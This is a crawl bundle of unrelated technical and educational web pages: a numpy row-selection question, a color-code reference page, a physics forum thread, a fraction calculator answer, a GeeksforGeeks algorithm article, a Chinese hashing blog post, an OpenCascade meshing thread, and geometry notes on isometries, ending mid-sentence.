[ "", null, "azeez -4 years ago 188\nPython Question\n\n# Select two rows from bit array based on int array python\n\nI have two arrays one Int, and one is bit\n\n``````s = [ x = [ [1 0 0 0 0]\n [1 1 1 1 0]\n [0 1 1 1 0]\n [0 0 1 0 0]\n ] [0 1 1 0 0]]\n``````\n\nI want to find the smallest two elements in s (random given) then (select and print) two rows from x (random given) based on s array,\nfor example, the smallest elements in s[i] are s=0, s=1, so i want to select x[0 0 1 0 0], and x[1 0 0 0 0]\n\n``````import numpy as np\nnp.set_printoptions(threshold=np.nan)\ns= np.random.randint(5, size=(5))\nx= np.random.randint (2, size=(5, 5))\nprint (s)\nprint (x)\n``````\n\nI tried my best using the \"for loop\" but no luck, any advice will be appreciated.", null, "Psidom\n\nYou can use numpy.argpartition to find out the index of the two smallest elements from `s` and use it as row index to subset `x`:\n\n``````s\n# array([3, 0, 0, 1, 2])\n\nx\n# array([[1, 0, 0, 0, 1],\n# [1, 0, 1, 1, 1],\n# [0, 0, 1, 0, 0],\n# [1, 0, 0, 1, 1],\n# [0, 0, 1, 0, 1]])\n\nx[s.argpartition(2)[:2], :]\n# array([[1, 0, 1, 1, 1],\n# [0, 0, 1, 0, 0]])\n``````\nRecommended from our users: Dynamic Network Monitoring from WhatsUp Gold from IPSwitch. Free Download" ]
[ null, "https://www.gravatar.com/avatar/6497da4ec6febaf4256d3835f6fba2ae", null, "https://i.stack.imgur.com/NR2ko.jpg", null ]
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https://www.colorhexa.com/020d3c
[ "# #020d3c Color Information\n\nIn a RGB color space, hex #020d3c is composed of 0.8% red, 5.1% green and 23.5% blue. Whereas in a CMYK color space, it is composed of 96.7% cyan, 78.3% magenta, 0% yellow and 76.5% black. It has a hue angle of 228.6 degrees, a saturation of 93.5% and a lightness of 12.2%. #020d3c color hex could be obtained by blending #041a78 with #000000. Closest websafe color is: #000033.\n\n• R 1\n• G 5\n• B 24\nRGB color chart\n• C 97\n• M 78\n• Y 0\n• K 76\nCMYK color chart\n\n#020d3c color description : Very dark blue.\n\n# #020d3c Color Conversion\n\nThe hexadecimal color #020d3c has RGB values of R:2, G:13, B:60 and CMYK values of C:0.97, M:0.78, Y:0, K:0.76. Its decimal value is 134460.\n\nHex triplet RGB Decimal 020d3c `#020d3c` 2, 13, 60 `rgb(2,13,60)` 0.8, 5.1, 23.5 `rgb(0.8%,5.1%,23.5%)` 97, 78, 0, 76 228.6°, 93.5, 12.2 `hsl(228.6,93.5%,12.2%)` 228.6°, 96.7, 23.5 000033 `#000033`\nCIE-LAB 5.663, 15.614, -30.989 0.984, 0.627, 4.344 0.165, 0.105, 0.627 5.663, 34.7, 296.741 5.663, -2.187, -16.742 7.918, 8.336, -26.985 00000010, 00001101, 00111100\n\n# Color Schemes with #020d3c\n\n• #020d3c\n``#020d3c` `rgb(2,13,60)``\n• #3c3102\n``#3c3102` `rgb(60,49,2)``\nComplementary Color\n• #022a3c\n``#022a3c` `rgb(2,42,60)``\n• #020d3c\n``#020d3c` `rgb(2,13,60)``\n• #14023c\n``#14023c` `rgb(20,2,60)``\nAnalogous Color\n• #2a3c02\n``#2a3c02` `rgb(42,60,2)``\n• #020d3c\n``#020d3c` `rgb(2,13,60)``\n• #3c1402\n``#3c1402` `rgb(60,20,2)``\nSplit Complementary Color\n• #0d3c02\n``#0d3c02` `rgb(13,60,2)``\n• #020d3c\n``#020d3c` `rgb(2,13,60)``\n• #3c020d\n``#3c020d` `rgb(60,2,13)``\n• #023c31\n``#023c31` `rgb(2,60,49)``\n• #020d3c\n``#020d3c` `rgb(2,13,60)``\n• #3c020d\n``#3c020d` `rgb(60,2,13)``\n• #3c3102\n``#3c3102` `rgb(60,49,2)``\n• #000000\n``#000000` `rgb(0,0,0)``\n• #00020b\n``#00020b` `rgb(0,2,11)``\n• #010823\n``#010823` `rgb(1,8,35)``\n• #020d3c\n``#020d3c` `rgb(2,13,60)``\n• #031255\n``#031255` `rgb(3,18,85)``\n• #04186d\n``#04186d` `rgb(4,24,109)``\n• #041d86\n``#041d86` `rgb(4,29,134)``\nMonochromatic Color\n\n# Alternatives to #020d3c\n\nBelow, you can see some colors close to #020d3c. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #021c3c\n``#021c3c` `rgb(2,28,60)``\n• #02173c\n``#02173c` `rgb(2,23,60)``\n• #02123c\n``#02123c` `rgb(2,18,60)``\n• #020d3c\n``#020d3c` `rgb(2,13,60)``\n• #02083c\n``#02083c` `rgb(2,8,60)``\n• #02033c\n``#02033c` `rgb(2,3,60)``\n• #05023c\n``#05023c` `rgb(5,2,60)``\nSimilar Colors\n\n# #020d3c Preview\n\nThis text has a font color of #020d3c.\n\n``<span style=\"color:#020d3c;\">Text here</span>``\n#020d3c background color\n\nThis paragraph has a background color of #020d3c.\n\n``<p style=\"background-color:#020d3c;\">Content here</p>``\n#020d3c border color\n\nThis element has a border color of #020d3c.\n\n``<div style=\"border:1px solid #020d3c;\">Content here</div>``\nCSS codes\n``.text {color:#020d3c;}``\n``.background {background-color:#020d3c;}``\n``.border {border:1px solid #020d3c;}``\n\n# Shades and Tints of #020d3c\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #000103 is the darkest color, while #eff2fe is the lightest one.\n\n• #000103\n``#000103` `rgb(0,1,3)``\n• #010516\n``#010516` `rgb(1,5,22)``\n• #010929\n``#010929` `rgb(1,9,41)``\n• #020d3c\n``#020d3c` `rgb(2,13,60)``\n• #03114f\n``#03114f` `rgb(3,17,79)``\n• #031562\n``#031562` `rgb(3,21,98)``\n• #041975\n``#041975` `rgb(4,25,117)``\n• #051d88\n``#051d88` `rgb(5,29,136)``\n• #05229b\n``#05229b` `rgb(5,34,155)``\n• #0626ae\n``#0626ae` `rgb(6,38,174)``\n• #062ac1\n``#062ac1` `rgb(6,42,193)``\n• #072ed4\n``#072ed4` `rgb(7,46,212)``\n• #0832e7\n``#0832e7` `rgb(8,50,231)``\n• #0b38f7\n``#0b38f7` `rgb(11,56,247)``\n• #1e47f8\n``#1e47f8` `rgb(30,71,248)``\n• #3157f8\n``#3157f8` `rgb(49,87,248)``\n• #4466f9\n``#4466f9` `rgb(68,102,249)``\n• #5776f9\n``#5776f9` `rgb(87,118,249)``\n• #6a85fa\n``#6a85fa` `rgb(106,133,250)``\n• #7d95fb\n``#7d95fb` `rgb(125,149,251)``\n• #90a4fb\n``#90a4fb` `rgb(144,164,251)``\n• #a3b4fc\n``#a3b4fc` `rgb(163,180,252)``\n• #b6c3fd\n``#b6c3fd` `rgb(182,195,253)``\n• #c9d3fd\n``#c9d3fd` `rgb(201,211,253)``\n• #dce2fe\n``#dce2fe` `rgb(220,226,254)``\n• #eff2fe\n``#eff2fe` `rgb(239,242,254)``\nTint Color Variation\n\n# Tones of #020d3c\n\nA tone is produced by adding gray to any pure hue. In this case, #1f1f1f is the less saturated color, while #020d3c is the most saturated one.\n\n• #1f1f1f\n``#1f1f1f` `rgb(31,31,31)``\n• #1c1d22\n``#1c1d22` `rgb(28,29,34)``\n• #1a1c24\n``#1a1c24` `rgb(26,28,36)``\n• #171a27\n``#171a27` `rgb(23,26,39)``\n• #151929\n``#151929` `rgb(21,25,41)``\n• #13172b\n``#13172b` `rgb(19,23,43)``\n• #10162e\n``#10162e` `rgb(16,22,46)``\n• #0e1430\n``#0e1430` `rgb(14,20,48)``\n• #0c1332\n``#0c1332` `rgb(12,19,50)``\n• #091135\n``#091135` `rgb(9,17,53)``\n• #071037\n``#071037` `rgb(7,16,55)``\n• #040e3a\n``#040e3a` `rgb(4,14,58)``\n• #020d3c\n``#020d3c` `rgb(2,13,60)``\nTone Color Variation\n\n# Color Blindness Simulator\n\nBelow, you can see how #020d3c is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population" ]
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https://www.physicsforums.com/threads/relativistic-kinetic-energy.470746/
[ "# Relativistic Kinetic Energy\n\nkudoushinichi88\nIn the derivation of the relativistic kinetic energy,\n\n$$K=\\int_{x_1}^{x_2}F\\,dx = \\int_{0}^{v}\\frac{d}{dt}(mv)\\,dx = \\int_{0}^{v}(mv\\,dv+v^2\\,dm)$$\n\nhere, my lecturer told us without showing that\n\n$$mv\\,dv+v^2\\,dm = c^2\\,dm$$\n\nCan someone please give me hints on how to combine these two integrals? I have no idea how to start.\n\nStaff Emeritus\nHomework Helper\nIn the derivation of the relativistic kinetic energy,\n\n$$K=\\int_{x_1}^{x_2}F\\,dx = \\int_{0}^{v}\\frac{d}{dt}(mv)\\,dx = \\int_{0}^{v}(mv\\,dv+v^2\\,dm)$$\nYou need to be a bit more careful with the limits. The integral with respect to dm doesn't have as limits 0 and v.\nhere, my lecturer told us without showing that\n\n$$mv\\,dv+v^2\\,dm = c^2\\,dm$$\n\nCan someone please give me hints on how to combine these two integrals? I have no idea how to start.\nYou can show by differentiating the expression for the relativistic mass\n\n$$m = \\frac{m_0}{\\sqrt{1-(v/c)^2}}$$\n\nwith respect to v. The LHS of the result the lecturer gave you is the integrand, so just substitute it in to get\n\n$$K = \\int c^2\\,dm$$\n\nI'll leave it to you to figure out the proper limits." ]
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https://answers.everydaycalculation.com/add-fractions/30-24-plus-5-81
[ "Solutions by everydaycalculation.com\n\n1st number: 1 6/24, 2nd number: 5/81\n\n30/24 + 5/81 is 425/324.\n\n1. Find the least common denominator or LCM of the two denominators:\nLCM of 24 and 81 is 648\n2. For the 1st fraction, since 24 × 27 = 648,\n30/24 = 30 × 27/24 × 27 = 810/648\n3. Likewise, for the 2nd fraction, since 81 × 8 = 648,\n5/81 = 5 × 8/81 × 8 = 40/648\n810/648 + 40/648 = 810 + 40/648 = 850/648\n5. After reducing the fraction, the answer is 425/324\n6. In mixed form: 1101/324\n\nMathStep (Works offline)", null, "Download our mobile app and learn to work with fractions in your own time:" ]
[ null, "https://answers.everydaycalculation.com/mathstep-app-icon.png", null ]
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https://www.geeksforgeeks.org/count-of-array-elements-to-be-divided-by-2-to-make-at-least-k-elements-equal/
[ "Related Articles\nCount of Array elements to be divided by 2 to make at least K elements equal\n• Difficulty Level : Medium\n• Last Updated : 15 Oct, 2020\n\nGiven an integer array arr[] of size N, the task is to find the minimum number of array elements required to be divided by 2, to make at least K elements in the array equal.\nExample :\n\nInput: arr[] = {1, 2, 2, 4, 5}, N = 5, K = 3\nOutput:\nExplanation:\nDividing 4 by 2 modifies the array to {1, 2, 2, 2, 5} with 3 equal elements.\nInput: arr[] = {1, 2, 3, 4, 5}, N = 5, K = 3\nOutput:\nExplanation:\nDividing 2 and 3 by 2 modifies the array to {1, 1, 1, 4, 5} with 3 equal elements.\n\nApproach:\nEvery integer X can be divided by 2 log2(X) times to get a non-zero value. Hence, we need to perform these log2(arr[i]) operations on every array element arr[i] and for every value obtained after a division, store the number of operations required to reach the respective value. Once, all operations are performed for all array elements, for every value that at least K array elements have been reduced to at some point, find the sum of smallest K operations required among all of them. Find the minimum number of operations required among all such instances.\n\nIllustration:\narr[] = {1, 2, 2, 4, 5}, N = 5, K = 3\nOnly 1 element can have a value 5, so ignore.\nOnly 1 element can have a value 4, so ignore.\nNo element can have a value 3.\n4 elements can have a value 2.\n{1, 2, 2, (4/2), (5/2) } -> {1, 2, 2, 2, 2}\nSince, the number of possibilities exceeds K, find the sum of the smallest K operations.\narr -> 0 operations\narr -> 0 operations\narr -> 1 operation\narr -> 1 operation\nHence, sum of smallest 3 operations = (0 + 0 + 1) = 1\nAll 5 elements can be reduced to 1.\n{1, 2/2, 2/2, (4/2)/2, (5/2)/2} -> {1, 1, 1, 1, 1}\nHence, the sum of smallest 3 operations = (0 + 1 + 1) = 2\nHence, the minimum number of operations required to make at least K elements equal is 1.\n\nFollow the steps below to solve the problem using the above approach:\n\n1. Create a matrix vals[][] such that vals [ X ][ j ] will store the number of operations needed to obtain value X from an array element.\n2. Traverse the array and for every array element:\n• Initialize x = arr[i]. Initialize count of operations cur as 0.\n• At every step, update x = x/2 and increment cur by 1. Insert cur into vals[x] as the number of divisions required to obtain the current value of x.\n3. Now, all possible values that can be obtained by repetitive division of every arr[i] by 2 with the number of such divisions required to get that value are stored in the vals[][] matrix.\n4. Now, traverse the matrix vals[][] and for every row, perform the following:\n• Check if the current row vals[i] consists of at least K elements or not. If vals[i] < K, ignore as at least K array elements cannot be reduced to i.\n• If vals[i].size() is ≥ K, calculate the sum of the row i. Update ans = min(ans, sum of vals[i]).\n5. The final value of ans gives us the desired answer.\n\nBelow is the implementation of the above approach :\n\n## C++\n\n `// C++ program to make atleast` `// K elements of the given array` `// equal by dividing by 2`   `#include ` `using` `namespace` `std;`   `// Function to return the` `// minimum number of divisions` `// required` `int` `get_min_opration(``int` `arr[], ``int` `N,` `                     ``int` `K)` `{` `    ``vector > vals(200001);` `    ``for` `(``int` `i = 0; i < N; ++i) {` `        ``int` `x = arr[i];`   `        ``int` `cur = 0;` `        ``while` `(x > 0) {` `            ``// cur: number of` `            ``// times a[i] is` `            ``// divided by 2` `            ``// to obtain x` `            ``vals[x].push_back(cur);` `            ``x /= 2;` `            ``++cur;` `        ``}` `    ``}`   `    ``int` `ans = INT_MAX;` `    ``for` `(``int` `i = 0; i <= 200000; ++i) {` `        ``// To obtain minimum` `        ``// number of operations` `        ``sort(vals[i].begin(),` `             ``vals[i].end());` `    ``}` `    ``for` `(``int` `i = 0; i <= 200000; ++i) {`   `        ``// If it is not possible` `        ``// to make at least K` `        ``// elements equal to vals[i]` `        ``if` `(``int``(vals[i].size()) < K)` `            ``continue``;` `        ``// Store the number` `        ``// of operations` `        ``int` `sum = 0;` `        ``for` `(``int` `j = 0; j < K; j++) {` `            ``sum += vals[i][j];` `        ``}` `        ``// Update the minimum` `        ``// number of operations` `        ``// required` `        ``ans = min(ans, sum);` `    ``}`   `    ``return` `ans;` `}` `// Driver Program` `int` `main()` `{` `    ``int` `N = 5, K = 3;`   `    ``int` `arr[] = { 1, 2, 2, 4, 5 };` `    ``cout << get_min_opration(arr, N, K);`   `    ``return` `0;` `}`\n\n## Java\n\n `// Java program to make atleast` `// K elements of the given array` `// equal by dividing by 2` `import` `java.util.*;` `class` `GFG{`   `// Function to return the` `// minimum number of divisions` `// required` `static` `int` `get_min_opration(``int` `arr[], ` `                            ``int` `N, ``int` `K)` `{` `  ``Vector []vals = ``new` `Vector[``200001``];` `  `  `  ``for` `(``int` `i = ``0``; i < vals.length; i++)` `    ``vals[i] = ``new` `Vector();` `  `  `  ``for` `(``int` `i = ``0``; i < N; ++i) ` `  ``{` `    ``int` `x = arr[i];` `    ``int` `cur = ``0``;` `    `  `    ``while` `(x > ``0``) ` `    ``{` `      ``// cur: number of` `      ``// times a[i] is` `      ``// divided by 2` `      ``// to obtain x` `      ``vals[x].add(cur);` `      ``x /= ``2``;` `      ``++cur;` `    ``}` `  ``}`   `  ``int` `ans = Integer.MAX_VALUE;` `  `  `  ``for` `(``int` `i = ``0``; i <= ``200000``; ++i) ` `  ``{` `    ``// To obtain minimum` `    ``// number of operations` `    ``Collections.sort(vals[i]);` `  ``}` `  `  `  ``for` `(``int` `i = ``0``; i <= ``200000``; ++i) ` `  ``{` `    ``// If it is not possible` `    ``// to make at least K` `    ``// elements equal to vals[i]` `    ``if` `((vals[i].size()) < K)` `      ``continue``;` `    `  `    ``// Store the number` `    ``// of operations` `    ``int` `sum = ``0``;` `    `  `    ``for` `(``int` `j = ``0``; j < K; j++) ` `    ``{` `      ``sum += vals[i].get(j);` `    ``}` `    `  `    ``// Update the minimum` `    ``// number of operations` `    ``// required` `    ``ans = Math.min(ans, sum);` `  ``}`   `  ``return` `ans;` `}` `  `  `// Driver code` `public` `static` `void` `main(String[] args)` `{` `  ``int` `N = ``5``, K = ``3``;` `  ``int` `arr[] = {``1``, ``2``, ``2``, ``4``, ``5``};` `  ``System.out.print(get_min_opration(arr, N, K));` `}` `}`   `// This code is contributed by shikhasingrajput`\n\n## Python3\n\n `# Python3 program to make atleast` `# K elements of the given array` `# equal by dividing by 2` `import` `sys`   `# Function to return the` `# minimum number of divisions` `# required` `def` `get_min_opration(arr, N, K):` `    `  `    ``vals ``=` `[[] ``for` `_ ``in` `range``(``200001``)]` `    ``for` `i ``in` `range``(N):` `        ``x ``=` `arr[i]`   `        ``cur ``=` `0` `        ``while` `(x > ``0``):` `            `  `            ``# cur: number of times a[i]` `            ``# is divided by 2 to obtain x` `            ``vals[x].append(cur)` `            ``x ``/``/``=` `2` `            ``cur ``+``=` `1`   `    ``ans ``=` `sys.maxsize` `    ``for` `i ``in` `range``(``200001``):` `        `  `        ``# To obtain minimum` `        ``# number of operations` `        ``vals[i] ``=` `sorted``(vals[i])`   `    ``for` `i ``in` `range``(``200001``):`   `        ``# If it is not possible` `        ``# to make at least K` `        ``# elements equal to vals[i]` `        ``if` `(``int``(``len``(vals[i])) < K):` `            ``continue` `            `  `        ``# Store the number` `        ``# of operations` `        ``sum` `=` `0` `        ``for` `j ``in` `range``(K):` `            ``sum` `+``=` `vals[i][j]` `            `  `        ``# Update the minimum` `        ``# number of operations` `        ``# required` `        ``ans ``=` `min``(ans, ``sum``)`   `    ``return` `ans`   `# Driver code` `if` `__name__ ``=``=` `'__main__'``:` `    `  `    ``N ``=` `5` `    ``K ``=` `3` `    ``arr ``=` `[ ``1``, ``2``, ``2``, ``4``, ``5` `]` `    `  `    ``print``(get_min_opration(arr, N, K))`   `# This code is contributed by mohit kumar 29`\n\n## C#\n\n `// C# program to make atleast` `// K elements of the given array` `// equal by dividing by 2` `using` `System;` `using` `System.Collections.Generic;` `class` `GFG{`   `// Function to return the` `// minimum number of divisions` `// required` `static` `int` `get_min_opration(``int` `[]arr, ` `                            ``int` `N, ``int` `K)` `{` `  ``List<``int``> []vals = ` `              ``new` `List<``int``>;` `  `  `  ``for` `(``int` `i = 0; i < vals.Length; i++)` `    ``vals[i] = ``new` `List<``int``>();` `  `  `  ``for` `(``int` `i = 0; i < N; ++i) ` `  ``{` `    ``int` `x = arr[i];` `    ``int` `cur = 0;` `    `  `    ``while` `(x > 0) ` `    ``{` `      ``// cur: number of` `      ``// times a[i] is` `      ``// divided by 2` `      ``// to obtain x` `      ``vals[x].Add(cur);` `      ``x /= 2;` `      ``++cur;` `    ``}` `  ``}`   `  ``int` `ans = ``int``.MaxValue;` `  `  `  ``for` `(``int` `i = 0; i <= 200000; ++i) ` `  ``{` `    ``// If it is not possible` `    ``// to make at least K` `    ``// elements equal to vals[i]` `    ``if` `((vals[i].Count) < K)` `      ``continue``;` `    `  `    ``// Store the number` `    ``// of operations` `    ``int` `sum = 0;` `    `  `    ``for` `(``int` `j = 0; j < K; j++) ` `    ``{` `      ``sum += vals[i][j];` `    ``}` `    `  `    ``// Update the minimum` `    ``// number of operations` `    ``// required` `    ``ans = Math.Min(ans, sum);` `  ``}`   `  ``return` `ans;` `}` `  `  `// Driver code` `public` `static` `void` `Main(String[] args)` `{` `  ``int` `N = 5, K = 3;` `  ``int` `[]arr = {1, 2, 2, 4, 5};` `  ``Console.Write(get_min_opration(arr, N, K));` `}` `}`   `// This code is contributed by shikhasingrajput`\n\nOutput:\n\n```1\n\n```\n\nTime Complexity: O (N * log N)\nAuxiliary Space: O (N * log N)", null, "My Personal Notes arrow_drop_up\nRecommended Articles\nPage :" ]
[ null, "https://media.geeksforgeeks.org/wp-content/cdn-uploads/20200604102100/GFG-CP-Article-2.png", null ]
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https://blog.tuidao.me/2010/12/%E6%9C%80%E5%9D%8F%E6%9F%A5%E6%89%BE%E6%97%B6%E9%97%B4%E4%B8%BAo1/
[ "# 最坏查找时间为O(1)的哈希算法小解\n\nHash 算法是个很常用的存储和查找的方法了,而其中的关键就是Hash的函数,这个函数的选取关系到最后算法的复杂度.这个算法使用了一个奇妙的函数,使得所用空间复杂度在保持O(n)的情况下最坏时间复杂度为O(1). 那么,在讲相关的数学推导之前先来定义一下所要用到的各类字母吧~\n\nLemma:\n\n! \\sum_{j = 1}^s {{B(s, w, k, j)} \\choose {2}}<\\frac{r^2}{s}\n\nB(s, w, k, j) = | \\{ x| x \\in W~and~(kx~mod~p)~mod~s = j \\} | 的含义就是取出所有在W中的x,将这些x带入到函数(kx~mod~p)~mod~s 中计算,最后所得到的值为j的,满足这样条件的所有x的集合.那么为什么会是这样一个式子呢…..这个我也不知道..只能说数学大牛威武,灵机一动就是如此等级…. 那么后面那个式子,{B(s, w, k, j)} \\choose {2}, 刚才不是算出了用前面那个函数计算过后值为j的集合么,现在我们把他们两两配对(真的可以随便配对么…你怎么知道其中的男女比例的….百合还好,要是Yoooooooooooooooooooooooooo什么的)最后得到的总对数的个数.
好吧,有了这个引理我们就可以从这个中得到两个推论:\n\nCOROLLARY1.\n\\exists k \\in U使得\\sum_{j = 1}^r B(r,W,k,j)^2<3r\n\nCOROLLARY 2.\n\\exists k’ \\in U使得映射x \\rightarrow (k’x~mod~p)~mod~r^2W中是一一映射.\n\n1. 设置T_0T的值为k并且设置j = (kq~mod~p)~mod~n.\n\n2. 设置T_0T[j]的值为对应T_j的首地址,由此可以得到T_j中前两格保存的k’|W_j|的信息.\n\n3. 访问T_j的第\\big ((k’x~mod~p)~mod~|W_j|^2 \\big )+2个小块,则qS中当且仅当q在这个小格中.\n\nStoring a Sparse Table with O(1) Worst Case Access Time by MICHAEL L. FREDMAN AND JÁNOS KOMLÓS\n\nPS:其实我只是来测试WP LaTeX插件的….现在预览功能莫名不能用实在是太糟糕了啊." ]
[ null ]
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https://dev.opencascade.org//content/brepmeshincrementalmesh-do-not-work
[ "# BRepMesh_IncrementalMesh do not work\n\n``````\t\tfile = osgDB::convertStringFromCurrentCodePageToUTF8(file);\n//TCollection_AsciiString aName((Standard_CString)file.data());\nBRepBuilderAPI_Sewing shapeSewer;\n\nHandle(Poly_Triangulation) aSTLMesh = RWStl::ReadFile(TCollection_AsciiString{ file.c_str() });\nStandard_Integer numberOfTriangles = aSTLMesh->NbTriangles();\n\nTopoDS_Vertex Vertex1, Vertex2, Vertex3;\nTopoDS_Shape shape;\nTopoDS_Face face;\nTopoDS_Wire wire;\n\n//TopoDS_Shell sh;\n//BRep_Builder builder;\n\nfor (Standard_Integer i = 1; i <= numberOfTriangles; i++)\n{\nPoly_Triangle triangle = aSTLMesh->Triangle(i);\n\nStandard_Integer n1;\nStandard_Integer n2;\nStandard_Integer n3;\n\ntriangle.Get(n1, n2, n3);\n\ngp_Pnt p1 = aSTLMesh->Node(n1);\ngp_Pnt p2 = aSTLMesh->Node(n2);\ngp_Pnt p3 = aSTLMesh->Node(n3);\n\nif (!p1.IsEqual(p2, 0.0) && !p1.IsEqual(p3, 0.0))\n{\nVertex1 = BRepBuilderAPI_MakeVertex(p1);\nVertex2 = BRepBuilderAPI_MakeVertex(p2);\nVertex3 = BRepBuilderAPI_MakeVertex(p3);\n\nwire = BRepBuilderAPI_MakePolygon(Vertex1, Vertex2, Vertex3, Standard_True);\nif (!wire.IsNull())\n{\nface = BRepBuilderAPI_MakeFace(wire);\nif (!face.IsNull()) {\n\n//builder.MakeShell(sh);\n}\n}\n}\n}\n\nshapeSewer.Perform();\nshape = shapeSewer.SewedShape();\n\nBRepBuilderAPI_MakeSolid solidmaker;\nTopTools_IndexedMapOfShape shellMap;\nTopExp::MapShapes(shape, TopAbs_SHELL, shellMap);\n\nunsigned int counter = 0;\nfor (int ishell = 1; ishell <= shellMap.Extent(); ++ishell) {\nconst TopoDS_Shell& shell = TopoDS::Shell(shellMap(ishell));\ncounter++;\n}\n\nTopoDS_Shape solid = solidmaker.Solid();``````\n\nI create a TopoDS_Shape through reading a stl file, then I want to use BRepMesh_IncrementalMesh to this TopoDS_Shape , I set different linear deflection and angular deflection , but It do not work.  What should I do?\nThanks!", null, "Your code creates a TopoDS_Face for each triangle in STL file.\nSuch geometry cannot be re-triangulated as you can triangulate each triangle only in one way.\n\nTo move ahead, a geometry from STL file should be approximated via B-Spline surface(s), which is feasible, but rather non-trivial surface reconstruction process.", null, "Is there some demo for this? Thanks." ]
[ null, "https://dev.opencascade.org/sites/default/files/styles/user/public/pictures/picture-120-1617206724.jpg", null, "https://dev.opencascade.org/sites/default/files/styles/user/public/pictures/picture-9809-1621494130.jpg", null ]
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http://jwilson.coe.uga.edu/MATH7200/Sect5.1.html
[ "", null, "Overview of Section 5.1 Reflections, Translations, and Rotations\n\nDefinitions:\n\nMapping -- a function that assigns elements of a domain to elements of a range.\n\nImage -- the elements of a range\n\nPreimage -- the elements of a domain\n\nReflection --\n\nA reflection in a line l is a correspondence that pairs each point P in the plane and not on line l with a point P' such that l is the perpendicular bisector of PP'. If P is on line l, then P is paired with itself. That is P' = P.\n\nNotation:", null, "will designate a reflection (think 'mirror') of the plane in line L. (I will use Ml or Mk as substitute symbols.)\n\nFrom the definition, if we have a point B in the plane we can find its preimage A -- that is, given a line l, Ml(A) = B. Because every point in the plane has a preimage, the range Ml is the whole plane and the mapping is onto. Therefore Ml maps the plane onto the entire plane.\n\nAlso, if A ≠ B then Ml(A) ≠ Ml(B). So Ml is a one-to-one mapping.\n\nSo a reflection is a transformation of the plane.\n\nTransformation -- a one-to-one onto mapping of the plane to the plane.\n\nP is a point in the plane. T(P) is the image of point P under the transformation. T(P) = P' is an alternative notation. P is the preimage of T(P).\n\nA transformation is a function whose range is the same as the domain.\n\nIdentity -- I is the identify function for the plane if I(P) = P for all P in the plane\n\nComposition of transformations T1 with T2 - - We write T2 º T1 meaning that first T1 acts on ap point, and then T2 acts on its image. We write (T2 º T1) = T2(T1(P) for all P in the plane.\n\nInverse", null, "of T --", null, "(Q) = P if and only if Q = T(P).\n\nIf follows that", null, "º T = T º", null, "= I\n\nIsometry -- A transformation that preserves distance. An isometry is a transformation of the plane such that for every two points A and B the distance between A and B equals the distance between T(A) and T(B) . Or if we use the notation that A' is the image of A and B' is the image of B, the transformation is an isometry if and only if AB = A'B'. In some contexts, d(P,Q) denotes the distance between two points P and Q in the plane. For an isometry d(T(A), T(B)) = d(A, B). We also call an isometry a rigid motion.\n\nTranslation -- A translation", null, "is a transformation of the plane from A to B that assigns every point in the plane point P'. If P is ont on line AB, then P' is the point in the plane for which ABPP' is a parallelogram. If P is on line AB, the P' is the point P' for which ABPP' is a degenerate parallelogram. AB is a directed segment or a vector. That is, it has both length and direction.\n\nRotation -- If O is any point in the plane and", null, "is a real number, then the rotation about O as a center through", null, ", denoted by", null, ", if a function from the plane to the plane that maps O onto itself and any other point P onto point P' such that OP = OP' and", null, ".\n\nHalf Turn -- A rotation through 180 degrees is a half turn. We denote with", null, ". Note", null, "Fixed Point -- A point is invariant if it the image of itself.\n\nSymmetry of a Figure -- Given a figure S, an isometry T is a symmetry of the figure is T(S) = S.\n\nA symmetry is simply a case where a figure remains unchanged under a transformation. Notice that symmetry is about the figure, not the individual points.\n\nExample 5.2 lists the symmetries of a rectangle\n\nReflections in the lines parallel to the sides through the center\n\nA rotation about the center\n\nThe identity transformation", null, "Orientation -- Clockwise orientation and counterclockwise orientation.\n\nFigure orientation is Invariant Under a Transformation if for all triples of noncollinear points A, B, C on the figure the orientation of triangle ABC is the same as that of the orientation of image triangle A'B'C', it is called direct transformation; otherwise it is opposite transformation.\n\nGlide Reflection", null, "The Glide Reflection is an isometry because it is defined as the composition of two isometries:", null, "º Ml, where P and Q are points on line l or a vector parallel to line l. An issue, of course, is whether this composition is equivalent to some existing isometry -- a reflection, rotation, or translation.\n\nAssume P ≠ Q. The resulting glide reflection has opposite orientation so it can not be a rotation or a translation. Therefore all that remains is to consider if there is a reflection through some line other than l for which A\"B\"C\"D\" is the image of ABCD. However, a reflection has all of the points on the line of reflection as fixed points whereas a glide reflection would have no fixed points. Therefore it is a new isometry.\n\nNOW SOLVE THIS 5.1\n\n1. Show that a composition of two isometries is an isometry.\n\nProof: Let T1 and T2 be isometries. T1(A) = A' and T1(B) = B'. Therefore by isometry T1, AB = A'B'\n\nT2(A) = A'' and T2(B) = B''. Therefore by isometry T2, AB = A''B''\n\nT2 º T1 = T2(T1(A)) = T2(A') = A'''. T2 º T1 = T2(T1(A)) = T2(B') = B'''. Therefore under composition AB = A'''B''' and distance is preserved.\n\n2. Show that the inverse of an isometry is an isometry.\n\nProof:\n\nGiven T and isometry. This means T(A) = A' and T(B) = B' with AB = A'B'\n\nThe inverse of T,", null, ", maps A' to A and B' to B, so A'B' maps to AB. But A'B' = AB and so the inverse is an isometry.\n\n3. What kind of a single isometry is Ml º Ml ?\n\nProof:\n\nThis notation is for the composition of a reflection with itself. Ml maps P to P' so that line l is the perpendicular bisector of PP'.\n\nMl(Ml) maps P' to a point P'' such that line l is the perpendicular bisector of P'P''. Assume P'' ≠ P the we have a triangle PP'P'' with two adjacent side perpendicular to the same line. This is a contradiction and so P'' = P. Therefore Ml º Ml = I , the identity transformation.\n\n4. What kind of isometry is", null, "?\n\nThe notation is that this is the inverse of a reflection in a line l .\n\nFrom the definition of an inverse,", null, "(Q) = P if and only if Q = Ml(P)\n\nIf", null, "(Q) = P then line l is the perpendicular bisector of QP. Because line l is the perpendicular bisector of QP, then Q is the image of P under Ml.\n\nIf Ml(P) = Q, then line l is the perpendicular bisector of QP. Because line l is the perpendicular bisector of QP, the P is the image of Q under", null, "NOW SOLVE THIS 5.2", null, "1. Show that a translation is an isometry.\n\nProof: Under a translation points P and Q are mapped by vector AB to points P' and Q'. ABP'P is a parallelogram with AB = P'P and ABQ'Q is a parallelogram with AB = Q'Q. Therefore PP'Q'Q is a 